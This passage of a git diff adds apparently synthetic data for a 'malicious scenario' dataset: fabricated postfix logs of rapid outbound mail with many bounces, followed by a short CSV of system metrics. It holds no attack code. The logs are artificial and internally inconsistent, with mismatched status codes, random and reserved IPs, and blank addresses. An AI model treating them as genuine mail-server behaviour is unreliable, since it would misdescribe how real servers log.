OK) +Aug 05 14:24:16 server postfix/smtp[19322]: 71E696F0AB: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:24:19 server postfix/smtp[19318]: 8787A0B95A: to=, from=, relay=user-mail.info[215.166.249.5]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.1.1 User unknown) +Aug 05 14:24:19 server postfix/smtp[19321]: 166650DE3D: to=, from=, relay=web-host.org[124.53.97.10]:25, delay=0.5, dsn=5.1.1, status=bounced (554 5.7.1 Service unavailable; Client host blocked) +Aug 05 14:24:20 server postfix/smtp[19324]: C40EDF6933: to=, from=, relay=example.com[178.74.130.119]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.1.1 User unknown) +Aug 05 14:24:21 server postfix/smtp[19327]: 3D85C0B501: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:24:22 server postfix/smtp[19326]: 9E2A6D91AB: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:24:24 server postfix/smtp[19323]: 5E5FF23A0A: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:24:24 server postfix/smtp[19325]: 8A69A3B2F8: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:24:25 server postfix/smtp[19329]: 49199DB943: to=, from=, relay=user-mail.info[57.17.227.93]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.4.1 Recipient address rejected: Access denied) +Aug 05 14:24:27 server postfix/smtp[19328]: 682AEC5399: to=, from=, relay=web-host.org[74.235.94.246]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.4.1 Recipient address rejected: Access denied) +Aug 05 14:24:27 server postfix/smtp[19330]: 208A75FA97: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:24:27 server postfix/smtp[19331]: 0D251966C0: to=, from=, relay=mailservice.net[222.49.21.15]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.1.1 User unknown) +Aug 05 14:24:30 server postfix/smtp[19334]: 486DC955AE: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:24:31 server postfix/smtp[19333]: CD5998BFDC: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:24:34 server postfix/smtp[19332]: 2905E338B3: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:24:35 server postfix/smtp[19336]: D9B4772232: to=, from=, relay=user-mail.info[240.2.145.112]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.4.1 Recipient address rejected: Access denied) +Aug 05 14:24:37 server postfix/smtp[19335]: 05B4C5BEA0: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:24:40 server postfix/smtp[19340]: F65A4039A4: to=, from=, relay=example.com[200.44.127.142]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.1.1 User unknown) +Aug 05 14:24:42 server postfix/smtp[19339]: BDF626359C: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:24:43 server postfix/smtp[19337]: 1EED3BD0D8: to=, from=, relay=business.biz[226.77.59.31]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.4.1 Recipient address rejected: Access denied) +Aug 05 14:24:44 server postfix/smtp[19338]: 129B40DBD6: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:24:45 server postfix/smtp[19342]: 6BDC01AE5C: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:24:46 server postfix/smtp[19341]: 82340A6D25: to=, from=, relay=business.biz[20.22.135.57]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.1.1 User unknown) +Aug 05 14:24:48 server postfix/smtp[19343]: 2B40A073C7: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:24:49 server postfix/smtp[19344]: 8479DA33B8: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:24:49 server postfix/smtp[19345]: F90FDC567B: to=, from=, relay=mailservice.net[208.252.206.92]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.4.1 Recipient address rejected: Access denied) +Aug 05 14:24:52 server postfix/smtp[19346]: 726BD6F513: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:24:53 server postfix/smtp[19347]: 662D65C757: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:24:57 server postfix/smtp[19349]: 21A9A93D60: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:24:57 server postfix/smtp[19350]: 80CDE3A296: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:24:59 server postfix/smtp[19348]: E0311EF67D: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:25:00 server postfix/smtp[19353]: 6301EEBD33: to=, from=, relay=example.com[190.169.105.216]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.1.1 User unknown) +Aug 05 14:25:01 server postfix/smtp[19351]: 417F647735: to=, from=, relay=example.com[211.221.56.200]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.1.1 User unknown) +Aug 05 14:25:01 server postfix/smtp[19352]: ED4BA8C129: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:25:01 server postfix/smtp[19354]: 93D101366D: to=, from=, relay=example.com[156.216.191.116]:25, delay=0.5, dsn=5.1.1, status=bounced (554 5.7.1 Service unavailable; Client host blocked) +Aug 05 14:25:04 server postfix/smtp[19355]: 325AD319E4: to=, from=, relay=web-host.org[176.244.141.230]:25, delay=0.5, dsn=5.1.1, status=bounced (554 5.7.1 Service unavailable; Client host blocked) +Aug 05 14:25:05 server postfix/smtp[19357]: 8133A99312: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:25:06 server postfix/smtp[19356]: C3F3B93D20: to=, from=, relay=mailservice.net[134.16.164.236]:25, delay=0.5, dsn=5.1.1, status=bounced (554 5.7.1 Service unavailable; Client host blocked) +Aug 05 14:25:06 server postfix/smtp[19359]: C7AF47A035: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:25:07 server postfix/smtp[19358]: AAB06C15EF: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:25:08 server postfix/smtp[19360]: 59A63E775F: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:25:12 server postfix/smtp[19361]: C2D730DD34: to=, from=, relay=business.biz[85.72.246.138]:25, delay=0.5, dsn=5.1.1, status=bounced (554 5.7.1 Service unavailable; Client host blocked) +Aug 05 14:25:12 server postfix/smtp[19364]: D490DDF605: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:25:14 server postfix/smtp[19362]: 0FF18B6287: to=, from=, relay=mailservice.net[24.219.117.142]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.4.1 Recipient address rejected: Access denied) +Aug 05 14:25:14 server postfix/smtp[19363]: 287312073C: to=, from=, relay=web-host.org[151.234.214.117]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.4.1 Recipient address rejected: Access denied) +Aug 05 14:25:15 server postfix/smtp[19365]: 9B8E5A2039: to=, from=, relay=example.com[21.42.60.141]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.1.1 User unknown) +Aug 05 14:25:15 server postfix/smtp[19369]: 9633F6138C: to=, from=, relay=business.biz[254.174.199.188]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.1.1 User unknown) +Aug 05 14:25:16 server postfix/smtp[19366]: 44724DA720: to=, from=, relay=mailservice.net[90.232.210.81]:25, delay=0.5, dsn=5.1.1, status=bounced (554 5.7.1 Service unavailable; Client host blocked) +Aug 05 14:25:17 server postfix/smtp[19367]: 4CAA953242: to=, from=, relay=web-host.org[83.89.171.170]:25, delay=0.5, dsn=5.1.1, status=bounced (554 5.7.1 Service unavailable; Client host blocked) +Aug 05 14:25:19 server postfix/smtp[19368]: E807FEA1CD: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:25:22 server postfix/smtp[19370]: 8A2659EDA7: to=, from=, relay=user-mail.info[158.22.53.157]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.1.1 User unknown) +Aug 05 14:25:23 server postfix/smtp[19371]: BDABD8C711: to=, from=, relay=business.biz[253.87.66.109]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.4.1 Recipient address rejected: Access denied) +Aug 05 14:25:23 server postfix/smtp[19372]: 31E70E2EBA: to=, from=, relay=example.com[115.61.200.156]:25, delay=0.5, dsn=5.1.1, status=bounced (554 5.7.1 Service unavailable; Client host blocked) +Aug 05 14:25:23 server postfix/smtp[19373]: E0DA017A6F: to=, from=, relay=web-host.org[54.16.56.226]:25, delay=0.5, dsn=5.1.1, status=bounced (554 5.7.1 Service unavailable; Client host blocked) +Aug 05 14:25:23 server postfix/smtp[19374]: 420D1C99ED: to=, from=, relay=mailservice.net[39.51.253.195]:25, delay=0.5, dsn=5.1.1, status=bounced (554 5.7.1 Service unavailable; Client host blocked) +Aug 05 14:25:25 server postfix/smtp[19378]: 886BD90CA9: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:25:28 server postfix/smtp[19376]: B785277DD8: to=, from=, relay=web-host.org[23.227.233.95]:25, delay=0.5, dsn=5.1.1, status=bounced (554 5.7.1 Service unavailable; Client host blocked) +Aug 05 14:25:28 server postfix/smtp[19377]: 30166BA2E7: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:25:29 server postfix/smtp[19375]: 6D1E60F3D4: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:25:30 server postfix/smtp[19381]: E9DC025921: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:25:32 server postfix/smtp[19380]: F7B6E89675: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:25:34 server postfix/smtp[19379]: 5EC1DEB3FA: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:25:35 server postfix/smtp[19382]: FCF4EDC020: to=, from=, relay=web-host.org[155.112.30.179]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.1.1 User unknown) +Aug 05 14:25:35 server postfix/smtp[19384]: 8C85CF41E0: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:25:36 server postfix/smtp[19383]: FAFF931E49: to=, from=, relay=mailservice.net[81.34.69.207]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.4.1 Recipient address rejected: Access denied) +Aug 05 14:25:39 server postfix/smtp[19385]: 29190E296E: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:25:40 server postfix/smtp[19388]: 6CF5A5FA16: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:25:44 server postfix/smtp[19386]: 68098E5B09: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:25:44 server postfix/smtp[19387]: 89E3E601DE: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:25:45 server postfix/smtp[19389]: 38963DB66D: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:25:49 server postfix/smtp[19390]: CF559F3128: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:25:52 server postfix/smtp[19392]: D4A2BDDB32: to=, from=, relay=user-mail.info[76.80.43.251]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.1.1 User unknown) +Aug 05 14:25:53 server postfix/smtp[19391]: 5584F43665: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:25:57 server postfix/smtp[19396]: 53FF2EFA6D: to=, from=, relay=business.biz[166.43.183.220]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.1.1 User unknown) +Aug 05 14:25:58 server postfix/smtp[19393]: 2802BBA621: to=, from=, relay=example.com[42.249.19.247]:25, delay=0.5, dsn=5.1.1, status=bounced (554 5.7.1 Service unavailable; Client host blocked) +Aug 05 14:25:58 server postfix/smtp[19395]: 3C04817888: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:25:58 server postfix/smtp[19397]: 76B1EA475B: to=, from=, relay=business.biz[217.119.43.176]:25, delay=0.5, dsn=5.1.1, status=bounced (554 5.7.1 Service unavailable; Client host blocked) +Aug 05 14:25:59 server postfix/smtp[19394]: B4DC4CA841: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:26:02 server postfix/smtp[19398]: 49CC1B2874: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:26:02 server postfix/smtp[19399]: E05E95B832: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:26:03 server postfix/smtp[19400]: 1BF5A1D599: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:26:04 server postfix/smtp[19401]: 6B3BAEA113: to=, from=, relay=business.biz[208.154.30.158]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.1.1 User unknown) +Aug 05 14:26:09 server postfix/smtp[19402]: 13A1D71464: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:26:09 server postfix/smtp[19403]: D695213B30: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:26:09 server postfix/smtp[19404]: 4DE00E235E: to=, from=, relay=mailservice.net[105.183.156.185]:25, delay=0.5, dsn=5.1.1, status=bounced (554 5.7.1 Service unavailable; Client host blocked) +Aug 05 14:26:12 server postfix/smtp[19407]: 77492976DC: to=, from=, relay=example.com[243.189.154.157]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.4.1 Recipient address rejected: Access denied) +Aug 05 14:26:12 server postfix/smtp[19408]: 1D2DA3CEE5: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:26:14 server postfix/smtp[19405]: 34B8DA60B1: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:26:14 server postfix/smtp[19406]: 947C422EEE: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:26:16 server postfix/smtp[19410]: 9E50630BCD: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:26:17 server postfix/smtp[19409]: 5796882FFD: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:26:17 server postfix/smtp[19411]: 8F1DD33CA9: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:26:21 server postfix/smtp[19412]: 7CE54FDA39: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:26:22 server postfix/smtp[19414]: 1E0B09FF92: to=, from=, relay=example.com[31.140.138.181]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.4.1 Recipient address rejected: Access denied) +Aug 05 14:26:23 server postfix/smtp[19413]: 1889F48E40: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:26:24 server postfix/smtp[19415]: 7757C47D2D: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:26:27 server postfix/smtp[19417]: F880407AE7: to=, from=, relay=web-host.org[21.224.127.221]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.1.1 User unknown) +Aug 05 14:26:28 server postfix/smtp[19416]: 6510213E2F: to=, from=, relay=web-host.org[59.239.233.140]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.4.1 Recipient address rejected: Access denied) +Aug 05 14:26:33 server postfix/smtp[19419]: FFEDAC8C26: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:26:33 server postfix/smtp[19420]: E0B6EB569F: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:26:33 server postfix/smtp[19421]: 5053F4852E: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:26:34 server postfix/smtp[19418]: D77AE28776: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:26:35 server postfix/smtp[19425]: A838566B48: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:26:36 server postfix/smtp[19422]: BF42E09EA7: to=, from=, relay=example.com[58.223.79.13]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.1.1 User unknown) +Aug 05 14:26:38 server postfix/smtp[19423]: 8CABCFDEB6: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:26:38 server postfix/smtp[19424]: 072791224A: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:26:38 server postfix/smtp[19426]: C74DBB6D8B: to=, from=, relay=web-host.org[54.21.185.125]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.1.1 User unknown) +Aug 05 14:26:40 server postfix/smtp[19427]: B4E77C7087: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:26:41 server postfix/smtp[19429]: E823CEC755: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:26:42 server postfix/smtp[19428]: F443FD9886: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:26:45 server postfix/smtp[19430]: C1FBC3B9E3: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:26:45 server postfix/smtp[19431]: 84CFE53D43: to=, from=, relay=user-mail.info[195.124.64.215]:25, delay=0.5, dsn=5.1.1, status=bounced (554 5.7.1 Service unavailable; Client host blocked) +Aug 05 14:26:47 server postfix/smtp[19432]: F7E302C7EA: to=, from=, relay=user-mail.info[55.192.11.168]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.4.1 Recipient address rejected: Access denied) +Aug 05 14:26:50 server postfix/smtp[19433]: 770F6FC3F6: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:26:52 server postfix/smtp[19436]: B40D53F95F: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:26:53 server postfix/smtp[19435]: B5C9595A53: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:26:53 server postfix/smtp[19437]: 481287AB61: to=, from=, relay=example.com[254.158.145.78]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.1.1 User unknown) +Aug 05 14:26:54 server postfix/smtp[19434]: 489C6FD754: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:26:56 server postfix/smtp[19438]: D80853A989: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:26:56 server postfix/smtp[19439]: 7BC3C40F14: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:27:00 server postfix/smtp[19442]: C172970DA2: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:27:00 server postfix/smtp[19443]: 4F15448A41: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:27:01 server postfix/smtp[19441]: FB16A4E715: to=, from=, relay=user-mail.info[17.17.140.169]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.4.1 Recipient address rejected: Access denied) +Aug 05 14:27:02 server postfix/smtp[19440]: B654AD3507: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:27:04 server postfix/smtp[19444]: 5B0D574FCC: to=, from=, relay=mailservice.net[82.162.203.64]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.4.1 Recipient address rejected: Access denied) +Aug 05 14:27:05 server postfix/smtp[19445]: 8827C430D9: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:27:06 server postfix/smtp[19446]: 167078F2C9: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:27:07 server postfix/smtp[19448]: 21B9775EAB: to=, from=, relay=mailservice.net[203.192.209.77]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.4.1 Recipient address rejected: Access denied) +Aug 05 14:27:08 server postfix/smtp[19447]: 88A86D9AB6: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:27:10 server postfix/smtp[19449]: F1CBB3C5B1: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:27:12 server postfix/smtp[19450]: 17DEF5D2E8: to=, from=, relay=business.biz[252.138.232.62]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.1.1 User unknown) +Aug 05 14:27:13 server postfix/smtp[19451]: 2228118D16: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:27:14 server postfix/smtp[19452]: 8AE7441664: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:27:16 server postfix/smtp[19454]: AB13CDE1A0: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:27:17 server postfix/smtp[19453]: 54CA980971: to=, from=, relay=user-mail.info[228.101.242.135]:25, delay=0.5, dsn=5.1.1, status=bounced (554 5.7.1 Service unavailable; Client host blocked) +Aug 05 14:27:17 server postfix/smtp[19455]: 89D1BBBA67: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:27:18 server postfix/smtp[19456]: CF26C51853: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:27:20 server postfix/smtp[19458]: DAA00A1052: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:27:20 server postfix/smtp[19459]: 2D17D15C9F: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:27:21 server postfix/smtp[19457]: 4EBCD33C56: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:27:26 server postfix/smtp[19463]: AF2FEADA1E: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:27:26 server postfix/smtp[19464]: 6CC8526042: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:27:27 server postfix/smtp[19462]: 32D2CEC1FF: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:27:28 server postfix/smtp[19461]: D91C832376: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:27:29 server postfix/smtp[19460]: C813F079B3: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) diff --git a/mali_dataset/scenario_5/mali_5_10.csv b/mali_dataset/scenario_5/mali_5_10.csv new file mode 100644 index 0000000000000000000000000000000000000000..b6d33b541ab4829ae63f67477b574dd57c060a05 --- /dev/null +++ b/mali_dataset/scenario_5/mali_5_10.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-26T14:00:00Z,14.03,43.37,11.12,0.73,1.52 +2025-08-26T14:00:05Z,10.85,42.82,12.72,1.15,0.95 +2025-08-26T14:00:10Z,10.0,42.82,12.38,1.06,1.62 +2025-08-26T14:00:15Z,10.42,41.33,8.61,0.73,1.78 +2025-08-26T14:00:20Z,18.43,41.78,16.99,1.36,1.59 +2025-08-26T14:00:25Z,13.98,41.53,14.04,0.84,1.22 +2025-08-26T14:00:30Z,16.56,43.69,8.5,1.14,0.85 +2025-08-26T14:00:35Z,19.92,41.31,11.85,1.28,1.5 +2025-08-26T14:00:40Z,10.57,44.76,17.56,0.71,1.97 